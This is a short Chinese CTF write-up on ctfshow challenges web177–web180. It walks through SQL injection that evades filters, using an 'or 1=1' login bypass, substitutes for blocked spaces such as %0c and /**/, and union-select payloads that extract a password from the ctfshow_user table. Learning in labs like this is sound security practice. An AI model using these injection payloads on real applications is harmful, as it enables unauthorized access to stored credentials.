此文章是为了记录本人对知识理解,如有错误望敬请指出并谅解。
web177
解题思路:题目说对传入的参数进行了过滤,但是我们不知道过滤了什么,所以第一步我们要先确认过在这里插入图片描述
滤了哪些特殊字符。在这里,我们使用burp进行检测。
不知道为什么,没有检测出来,看了官方的wp,过滤了select,union的。我的思路是,既然过滤了,先检测过滤了哪些字符,然后避开,我认为这比盲猜靠谱。
最后我是用万能密码破的。
pyload:1’ or 1=1 --+
web178(空格过滤)
可代空格的字符:
%09
%0a
%0d
%0c
/**/
+
pyload:
1'union/**/select/**/1,2,password/**/from/**/ctfshow_user/**/where/**/username='flag'%23
web179
也过滤了空格,将178中空格都试试,发现%0c没有被过滤:
于是构造pyload:
1'%0cunion%0cselect%0c1,2,(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername='flag')%23
web180
通过测试发现注释符被过滤了,即–+,#,%23都不可以使用,我们换一种思路,把sql后面的‘闭合。
构造pyload:
'%0cunion%0cselect%0c1,2,(select%0cgroup_concat(password)%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'%0cor'1'='1')'
得到如下结果: